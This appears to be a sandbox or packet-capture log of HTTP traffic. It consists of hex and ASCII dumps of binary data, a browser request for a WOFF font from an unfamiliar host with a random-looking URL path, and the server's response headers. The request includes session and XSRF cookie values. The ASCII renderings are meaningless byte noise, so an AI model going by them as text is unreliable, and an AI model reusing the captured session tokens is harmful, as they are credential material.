2025-03-24 13:13:09 UTC	1369	IN	Data Raw: c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f Data Ascii: \eF&oU*R}QC2TD5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 1e d6 a3 f0 50 1c cd 47 c7 71 c4 6b 2a 1b 42 e0 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 Data Ascii: PGqkB\QE.=68_5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8*bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: a9 8b f3 d9 36 1a 9c 05 9e 9a 59 d1 d0 81 5e 1b 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a e7 f5 70 28 82 4f 23 f1 4c f0 1f 64 40 c9 5d ef 4e 34 73 9b 4f 1b c9 64 37 06 61 ef df 1b 02 4a c5 59 98 4b 0f 36 d0 5a 73 f5 66 c0 15 ed 9b ba b7 ff 63 21 49 05 47 7d 49 d8 17 b6 ee 07 ce d7 67 ec 43 6b 60 27 b7 64 26 32 b9 85 27 73 35 1c 97 af d5 11 87 28 82 6b db ba 8b 44 03 ea 74 51 f8 50 29 92 60 37 24 39 9a f2 78 10 00 7e 0c f8 fb af 87 98 f5 21 fa 03 f0 fe 0b c0 e7 1e 18 3f 20 9f 15 d5 73 9b e0 ea 0d c0 0a 55 22 1f d7 be 95 c7 07 d0 10 c0 9f 4b 7d 9f 65 ef 23 8a 59 c2 cf f6 39 45 cb af 3e 0e 84 bc 8b 2b 32 5e 84 60 79 e3 43 df da Data Ascii: 6Y^a\fN-hR};N4Q:`O2Zr7_!LDp(O#Ld@]N4sOd7aJYK6Zsfc!IG}IgCk`'d&2's5(kDtQP)`7$9x~!? sU"K}e#Y9E>+2^`yC
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 4a cf 6b 92 fe 6e 87 21 49 4e 41 b9 34 2e bb a2 c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd ee b0 ad 34 7f fe fe a1 c6 53 ee bf ff bb a3 5f be 98 44 87 d1 39 8c c2 ff 5f ff ab bd e1 99 eb 7d 62 b1 48 28 0a 09 29 77 a6 55 70 c0 46 c3 ef 87 ba fe f8 99 9d db 78 1a 36 d6 74 7b 64 aa 20 1d b4 0b da 52 ff b3 d9 6a ef a5 a3 cf 1e 4f b4 02 97 09 94 f4 54 1f b3 7b 6d d4 8f 17 ee 2b cb 6b bb f3 ea e3 59 e2 05 ad 79 b9 68 05 49 62 56 99 cd 2c 54 d4 60 96 43 2f d0 0c 20 86 46 3c ac f7 3d 89 a7 0d b5 e3 56 65 b1 b7 00 cd 75 98 87 03 be 30 f6 77 7d 37 26 c2 a1 c8 bb 23 8d 05 33 c9 a9 ba fd 4a 4e 76 e7 e9 b5 cf eb 6f f8 f9 e4 e6 e6 fd f5 f5 Data Ascii: Jkn!INA4.aG:ml#N(qKZ8Bi78?4S_D9_}bH()wUpFx6t{d RjOT{m+kYyhIbV,T`C/ F<=Veu0w}7&#3JNvo
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 92 8c 21 e7 22 75 20 eb 65 4b 95 29 13 25 f9 b6 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a 38 40 82 a1 65 99 d1 14 0a 63 bb 02 65 03 1e b3 c1 4a 4a 70 14 81 51 bf 67 c4 ef 2d e0 ae 3c b5 8f a9 a0 84 eb 9c 47 12 a6 10 45 87 23 73 0e b0 da 1e 15 0a fc c1 0e 13 a5 50 38 85 2b 3c 7c e5 bc 63 2e ba ec a4 ab 6e 93 1b ca 77 a9 b0 83 40 8e 5a fe f3 ce 37 c6 6d de 9f 7d d0 94 93 1c 3e 5e 7a f2 4c c5 39 f3 28 f5 dd e5 4a 1e bc b4 f4 ca 53 cb 9f 31 a5 e3 9e 77 42 fc 4b e4 12 ff 64 d3 65 37 bf ee 0a 29 21 1a 30 9f 2b 10 db 01 f2 b4 80 14 6f 25 7a 77 ff 40 e5 94 81 a9 41 35 1f 6c 34 47 ab 5d 80 de dd f8 70 fb 7f ad 3c 00 d4 01 16 a0 fc e6 Data Ascii: !"u eK)%bx\qJ*o;NnKRr'MHJR&Bg8@eceJJpQg-<GE#sP8+<\|c.nw@Z7m}>^zL9(JS1wBKde7)!0+o%zw@A5l4G]p<
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: bb 38 c0 0a 67 5d 74 cb 77 de f2 e5 91 53 ac cb cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 f8 02 a6 e7 7c ec d7 42 fb 31 97 76 f3 f4 f1 d4 d1 c9 2c 3b d9 cb 32 27 b8 e0 ba bb de f0 e9 81 c3 4d 9b c7 9d de 2b 5e aa 39 d5 f6 68 3c ca c3 b5 45 4b 26 69 35 3b 22 f8 66 00 cf 15 c3 bf a1 9f 94 ff a2 a5 42 76 c4 5f 6d a9 db 34 3d bc e8 cf ef d9 4c cd 9c 69 e9 df c1 83 ef 7e ef e7 76 36 b9 7b 7f f0 2f cd 9d dc 1c b8 ff 9c dd e9 ce e6 6c d0 89 3f 17 00 e0 55 3f 77 1e 45 08 4a c1 0e 70 80 2b 7f c4 29 43 1e 79 e5 4d ad 41 79 75 1d 85 fa 9d 91 63 fa 53 a2 5a 2d 3a 68 d9 31 27 9c 73 c2 05 97 28 dc 74 3b f0 57 d3 3d 8f cc d7 42 9d 78 06 d5 Data Ascii: 8g]twSp#4+V!w*tVx8}#0r((UcW\|B1v,;2'M+^9h<EK&i5;"fBv_m4=Li~v6{/l?U?wEJp+)CyMAyucSZ-:h1's(t;W=Bx
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 60 01 17 29 f0 8a 77 bc 82 18 0c 53 32 83 37 6b 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 8d df ff df 9f 75 de 3d 5c 2a 8e 8a 06 e5 2d 47 4d 23 29 a5 b1 31 28 ad 8d 49 e9 6c 2c 4a 6f 63 53 06 1b 87 32 da b8 94 c9 c6 a3 cc 36 fe 1a 3f a6 73 3f a9 6a 37 c6 d4 41 be bc 63 57 27 50 e1 3c 5e f4 5b 33 e8 7c 78 d1 df 1b b4 85 35 b6 5c 36 da 4a 5b 68 1b cc e0 b1 1d 08 76 00 c1 4e 20 d8 05 04 bb 81 60 0f 10 ec 05 82 7d 40 c2 21 d4 d3 c3 46 a9 70 4c 65 af 6a 46 9e cc 86 31 c4 ca 93 6e fa 8b 26 02 61 27 3c 70 a2 48 2b 19 30 64 c3 7d 1b 0d 93 af 05 36 b8 d6 89 0d 6b 21 ee 12 1d 34 b6 ec 2c 72 14 83 c2 a5 c5 b5 62 52 15 4e a0 3b bc 1e 41 92 35 ba 24 b0 77 e8 84 21 2c 04 cd 2f 1c 7f f1 34 9f d8 fd 96 90 Data Ascii: `)wS27k6\|(Yk^&j$A#u=\-GM#)1(Il,JocS26?s?j7AcW'P<^[3\|x5\6J[hvN `}@!FpLejF1n&a'<pH+0d}6k!4,rbRN;A5$w!,/4
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 3a d3 95 10 f1 8d fe 0c 6e 8c 93 55 05 98 bb 7f c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e 76 e0 c0 e5 8f 67 a6 d1 80 5c 74 14 31 90 d2 76 77 53 81 cc 76 21 c7 06 d9 2a fd 90 78 fb 11 1e b0 6c 7b 16 1e f7 81 66 5f c9 86 78 07 ae e5 f3 a1 92 c8 76 3e f6 dd ea 77 6c b0 c9 ca 8f c0 a9 18 d9 95 b0 d2 74 0b f5 36 bb 67 96 9a 5e 08 c2 ec 5f 59 dd 1f 29 29 63 7f 76 09 e5 97 48 e8 5d f2 d6 98 90 17 6e f9 c3 53 16 8c aa 2b c1 2a 8d 58 31 50 cf fd 70 ff a0 1e a6 51 22 eb 5a 71 c5 62 86 2e 66 bd 65 dd 0b 36 b8 6d d8 71 f6 dc 7a e8 63 42 90 c8 3e a8 c9 f5 84 34 c7 20 4f 6c 24 ca fb 3c c0 f6 c8 18 df 9b 6b a7 c8 e5 b0 7d 19 a9 d8 05 3d 6e ae ac d9 c8 19 20 6f 5d 9a 62 23 46 a3 8c 62 6a f5 2e b3 82 87 30 Data Ascii: :nUazb#y;(\=RdVJMNvg\t1vwSv!xl{f_xv>wlt6g^_Y))cvH]nS+X1PpQ"Zqb.fe6mqzcB>4 Ol$<k}=n o]b#Fbj.0
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 21 17 ba 9f 41 e9 09 34 35 d7 f0 f8 4d be 51 89 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 41 89 e4 f8 97 16 36 ed c3 ef 99 de f6 51 01 96 66 e6 a7 06 d4 cd 83 c0 f2 ba bf 84 b5 69 1d 3c 31 46 2a 3b 9d b5 03 b9 b3 6d bd ab 4c c2 7c 42 09 c5 39 09 c8 ef 63 09 78 83 6f 48 a6 3b 90 83 18 25 79 72 47 76 61 ce 4c 5a 32 c0 de 11 19 13 b2 8b 01 14 50 48 67 17 c1 40 9f db d1 a2 30 99 cc 05 c2 9a d3 ff a9 3e ad 38 62 c6 8e bc ff 60 25 ac b5 5f 29 60 4d 64 62 88 b5 75 68 36 25 a7 c5 8e 03 24 9a 35 ce 03 45 e8 95 1f d1 53 2c 89 12 45 38 ef 68 4d c8 41 86 ad 65 02 ba 80 91 0a 3e b2 ef 49 f7 d3 6e 28 e2 5d dd 8f 29 2e 26 69 14 e7 02 2c 7b 38 8a 58 2e 78 32 56 f5 90 cb c2 fb 4c a6 c2 43 26 f9 51 57 dd 88 Data Ascii: !A45MQRDp:IFUj_JAA6Qfi<1F*;mL\|B9cxoH;%yrGvaLZ2PHg@0>8b`%_)`Mdbuh6%$5ES,E8hMAe>In(]).&i,{8X.x2VLC&QW

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:09 UTC	1360	OUT	GET /GDSherpa-regular.woff HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Origin: https://zx.nhyyupvw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
2025-03-24 13:13:09 UTC	1182	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:09 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff" Age: 5533 Last-Modified: Mon, 24 Mar 2025 10:55:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3k1uY%2ByyaueR6ub6Fi3jJY2UFe7GQvb3hKEw%2FxsjUzsCKpm5M3MUyLG8Yb1fjtPiTvqgOgjGKEIMqCBfgrEkCHAU%2F17bO%2FsmaG9pnWjElVd%2F6oLZZeQvsq%2BWRvLIVaqNLlSm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10386&min_rtt=10084&rtt_var=3044&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2331&delivery_rate=277636&cwnd=251&unsent_bytes=0&cid=2b4a8f4ea3ac1c30&ts=37&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 92566c9a7f967a81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=102289&min_rtt=100078&rtt_var=23440&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1932&delivery_rate=37227&cwnd=246&unsent_bytes=0&cid=1e70c21b414f1e27&ts=226&x=0"
2025-03-24 13:13:09 UTC	187	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gas
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 21 00 00 00 24 10 9d 09 5a 68 6d 74 78 00 00 76 f4 00 00 03 88 00 00 07 78 3b 0f c0 f7 6c 6f 63 61 00 00 7a 7c 00 00 03 a8 00 00 03 be 14 10 ec 74 6d 61 78 70 00 00 7e 24 00 00 00 20 00 00 00 20 03 2d 0c fd 6e 61 6d 65 00 00 7e 44 00 00 02 ce 00 00 06 27 d5 12 90 1c 70 6f 73 74 00 00 81 14 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8d a4 00 00 00 81 00 00 00 8d 19 50 02 10 78 da e5 5c 09 7c 55 d5 99 ff 4e 72 f3 5e f2 c2 0b 09 89 90 80 44 44 d0 b8 54 1c eb 82 e0 82 56 ad 02 a2 43 b5 b6 a3 b5 55 c4 5f 7f 4e c7 99 fa 6b 7f 38 8e 6d a7 88 d8 aa 68 Data Ascii: pglyf"0Tlh.+headv46}hheav!$Zhmtxvx;locaz\|tmaxp~$ -name~D'post1+,prepPx\\|UNr^DDTVCU_Nk8mh
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: d6 5a 2d 67 94 a5 5e c4 79 12 f5 02 b6 7b 41 ad 9e a0 54 0f 60 3b 00 d8 9e 0f 7e 15 00 5b 1f 78 d5 4b bd 8e 72 b3 51 ef 02 d4 b3 90 fa 03 f3 1c 60 dc 1f 4f 7d e8 4f 2a 52 1a d2 58 2e 85 fd 98 c5 47 c0 bf 65 c0 da a6 57 b2 ad dd a0 f9 93 68 7d 1c 6a 79 0a 6f 8f c7 79 02 7f 61 f3 0a f7 2f 21 6f 32 2c c1 54 b1 21 f9 c0 20 1f 18 64 81 66 b5 36 16 28 37 1b e7 39 c8 5f 80 77 17 02 93 55 38 0b fd 44 9b d3 41 23 9b 4b 4e 8b 3b 21 29 39 46 52 c0 25 3c 9b 80 3e 3e 8f f3 0b 90 b5 17 85 53 7e f5 12 f2 b4 46 db da 9c 81 96 33 d0 b2 e5 e1 56 1d 24 26 8c 16 a5 25 f4 10 bc a7 6e 68 ab 07 da ea 6e 68 6e a1 2d 9f e1 be 85 de e8 ba d2 51 57 2e ea f2 8b ee ce 84 cc cf 46 de 1c a9 2b 08 cc fd c0 ba 2b e4 69 19 6a 5d 07 df 51 02 6b 35 16 32 aa 6b 9a 80 5c 2d bf 5a 76 6d ed 0f Data Ascii: Z-g^y{AT`;~[xKrQ`O}O*RX.GeWh}jyoya/!o2,T! df6(79_wU8DA#KN;!)9FR%<>>S~F3V$&%nhnhn-QW.F++ij]Qk52k\-Zvm
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: fc bf 3d dd 23 9a a6 bd e8 29 49 59 47 d1 55 6d 67 96 22 de 5a 12 3d 02 89 44 e8 ba 84 1d bb 7b 66 34 fa 76 04 dc a3 70 a8 87 ad 3c c9 cc 75 74 3e ae 56 d1 59 90 f1 26 ea 42 67 b8 25 4a 44 3f 2f b5 c7 e3 74 11 65 99 39 83 40 07 93 f6 70 eb 23 c4 8e 43 6f cf 1c 59 31 46 d2 c4 65 94 cb eb f9 4d 2a 40 e4 be db eb 6d f9 31 39 15 98 79 82 7e 89 8f 0b da b2 9f 5f 27 ff db 9d ef 70 a9 28 fb 11 64 06 04 76 a8 b5 b9 54 33 e7 91 30 ab 2f 73 2f eb 30 ae 58 de 5a fc ee b1 a1 ad f5 21 51 d8 fb 65 fc a1 e3 80 ac 56 4b a4 cb ea 83 3f fe db e6 48 49 b0 cc 04 64 16 29 4f 62 94 64 3e 2e 4f 92 64 f7 86 43 e1 e3 31 18 e7 98 14 4c 94 25 e4 fd 90 e9 7d ad da 8b 0e 69 47 da 8e 51 78 70 9c dc c1 9d 67 54 d2 d1 23 9a 28 1c 8e 74 ba 59 81 6c ea 94 07 7c cf 71 99 5b 0a ca 5a 47 19 Data Ascii: =#)IYGUmg"Z=D{f4vp<ut>VY&Bg%JD?/te9@p#CoY1FeM*@m19y~_'p(dvT30/s/0XZ!QeVK?HId)Obd>.OdC1L%}iGQxpgT#(tYl\|q[ZG
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 2c c4 41 7e 8e 2e 44 b4 71 1f ac cd fb fc 16 9e 7c 28 3a a1 39 f2 10 62 fd a5 88 3e 1a f8 53 fe 25 f2 b7 9a 95 c2 3a 63 47 7a 53 a6 c8 55 21 a2 93 83 74 07 ae 83 18 cd bf 41 b9 b0 24 7a d5 f9 00 ef 06 5d 16 db b6 4a 78 11 84 0e 65 f2 36 9c c7 a0 de 49 bc 02 5a be 52 7f 8f 11 59 e5 8a 83 f5 73 22 2d 9b 79 09 4a e9 3d e4 49 d0 ce ed d0 17 86 f4 5d 86 e7 13 51 67 39 ef 81 dd d1 91 c2 21 19 97 4c 14 3c 83 b2 93 5c cf 07 6a 6d 55 9a da 6e 8c 1c 10 5b bd 1f e7 4a ba 98 0f 00 a7 03 bc 53 ef e5 96 fe 55 e9 ef 90 74 2c 16 b1 73 28 43 bc 5c 52 0e a2 b7 90 de 55 2d de 37 b3 5d 99 59 04 2a eb bd fb 7d 80 f3 5f f8 15 d0 be 0c b6 ef 66 fe 33 ff 1a f5 2e 85 6d df cc 1b 51 63 09 6f 41 e9 47 f8 03 fe 5f 48 59 25 7f c2 af 23 bf 54 62 ae 63 ae 5e f7 80 c5 5d 01 3b 3b 1f ed Data Ascii: ,A~.Dq\|(:9b>S%:cGzSU!tA$z]Jxe6IZRYs"-yJ=I]Qg9!L<\jmUn[JSUt,s(C\RU-7]Y*}_f3.mQcoAG_HY%#Tbc^];;
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 46 88 3e 3b de d7 ff 33 f1 15 44 2d 66 65 0c b5 db bb f6 d3 63 c6 ae fa ff 46 1a a5 0f dd e3 8e 71 2d db 53 0a 4e be 18 4f ec 8d b8 fc 26 df fe 9e 30 57 a8 ed 33 57 a7 3f c7 71 02 54 cb 12 1b 7b 82 17 ba 6d 46 c6 81 33 dc 78 c9 c6 44 8f c0 b3 62 c6 1f 55 26 72 4a 97 19 4c 3b ae cd b7 63 4e d9 93 e3 37 36 5e be 64 10 1f e1 17 0e 63 54 8c a8 39 d9 fe a7 8c 53 99 8f 8c c2 fd b8 cc 98 66 88 b5 3b c2 d3 ed 15 e1 28 dc ff 68 66 4c 29 26 5a b5 a2 66 d3 ec af 31 7d 32 86 3b 2e fc c9 b5 69 29 b8 a7 bb b1 8a df ac fc 07 78 3b 38 79 50 d6 55 92 cd 5a 5b b0 8d af 95 e3 cb 4c b3 d0 2b 7a 7d 36 c9 23 d5 b1 f1 a3 ce 49 8b 6b 49 2c 67 75 cc 70 2a 23 4e 8c 15 2d 4b 9a 1f 01 a9 11 fd 16 1d ff 6a 87 9f 3a ef a1 3a 01 8e 49 f2 55 cd b9 b8 3a 1f d0 8f 2e 04 f4 a7 ef d0 cf f1 Data Ascii: F>;3D-fecFq-SNO&0W3W?qT{mF3xDbU&rJL;cN76^dcT9Sf;(hfL)&Zf1}2;.i)x;8yPUZ[L+z}6#IkI,gup*#N-Kj::IU:.
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: 59 f8 dc d6 a8 fd f7 16 c7 a4 71 43 15 83 34 5b 88 fe 87 aa 57 b8 d5 82 47 ca e9 22 45 44 49 3f d1 d2 45 77 a9 28 56 ea 88 93 96 e2 5d 8d d0 87 be ea d9 9f 24 29 73 00 c9 ea 3e 98 14 86 88 bb 61 a4 32 5a d3 8d 65 9c d4 38 81 89 8c 27 91 29 4c 65 1a 93 98 cc 74 66 90 ce 4c 66 31 9b 39 cc 65 1e 19 64 32 9f 2c 16 b0 90 1c b2 59 44 2e 8b 59 c2 52 f2 58 a6 5d ac 10 37 ab 58 47 be 98 f7 b2 9a 35 14 52 c0 7a 36 52 4c 11 1b 28 a1 94 4d f8 d8 cc 16 b6 52 46 39 db d9 c1 4e 76 b1 8d dd ec 61 2f fb d8 4f 05 07 a8 e4 20 87 38 cc 11 8e 72 8c e3 54 71 82 53 9c e6 0c e7 38 cf 59 2e 70 92 8b 5c e6 12 57 b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 Data Ascii: YqC4[WG"EDI?Ew(V]$)s>a2Ze8')LetfLf19ed2,YD.YRX]7XG5Rz6RL(MRF9Nva/O 8rTqS8Y.p\WJ5.nr4qp[zWb5o{>&o
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: a1 97 85 dc 5d 14 d3 93 22 86 eb 32 86 29 8a 11 6a c2 eb ea cc 3c dd a6 e7 35 4c 2f 68 b8 46 68 a4 e6 68 ae a6 ea 90 f2 18 48 01 87 24 55 d6 45 aa a6 bb d4 47 fd 09 d7 29 73 f1 85 e6 80 90 3f 1c cd ff 19 e7 f3 fd 6a 65 eb 3d ad d1 5a e5 68 9d de d7 7a e5 fe 9d 05 42 09 b3 6c ae c0 05 f6 f5 8a 54 a2 32 17 71 31 55 a8 4a 35 aa 53 83 4b a8 69 c9 5d 9b 08 2e b5 cc a9 6b 99 5e ff af fc b0 88 34 16 b3 84 b7 49 27 c3 f2 7c 19 ef 58 a6 67 b2 d2 f2 73 15 ef b2 da f2 fd 3d 4b d2 b5 96 18 eb 78 9f f5 e4 fe c1 9c e9 2f a1 a7 8b 91 33 84 04 23 23 60 54 04 8d 88 4f 8c 89 42 e3 e1 e7 52 22 2a 18 13 46 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df Data Ascii: ]"2)j<5L/hFhhH$UEG)s?je=ZhzBlT2q1UJ5SKi].k^4I'\|Xgs=Kx/3##`TOBR"F]cL+k.[an3jv)=h^d
2025-03-24 13:13:09 UTC	1369	IN	Data Raw: e8 17 03 db 3e 38 31 bf ac ff d4 ac f0 61 ab fe 9f 9b 86 24 fe fd 89 f6 8d ce 12 46 c6 33 8b b8 46 32 96 3d cb c8 b8 f6 62 ed fb c4 04 fa cc a4 d6 ab 09 ff 2e e2 d7 2f 5e b4 66 01 fb ac f7 e0 9e 3b eb f1 66 eb 76 b1 3c b4 11 ca 63 19 8d c5 5b ec 02 2a 5e 6a 6f a2 6c a0 04 c8 79 91 0c 7d c0 e6 8d de 66 df 02 ac 86 31 5a a2 15 30 d4 c5 51 43 b3 30 f5 ac 6d c0 78 7a b8 aa 18 0d d2 70 94 43 89 d8 60 f6 f7 87 d1 91 0e a4 c0 c8 c6 8a e6 f3 6b 0b 95 e7 5d 4e 6d 3f 3c 7c 31 6b d5 c3 ea 69 ab cf 2d f6 19 3e 7f fd 15 76 d7 c8 fa cd 3f 1a 2a 96 e4 84 ef a7 ed 84 11 a0 52 72 88 23 2a 17 86 17 21 11 f4 2f a1 11 c8 75 63 dc 34 3e 3e 3c d1 5c 6a 64 02 ed 85 10 b4 17 6d 64 5d 7f 6d fd 18 e7 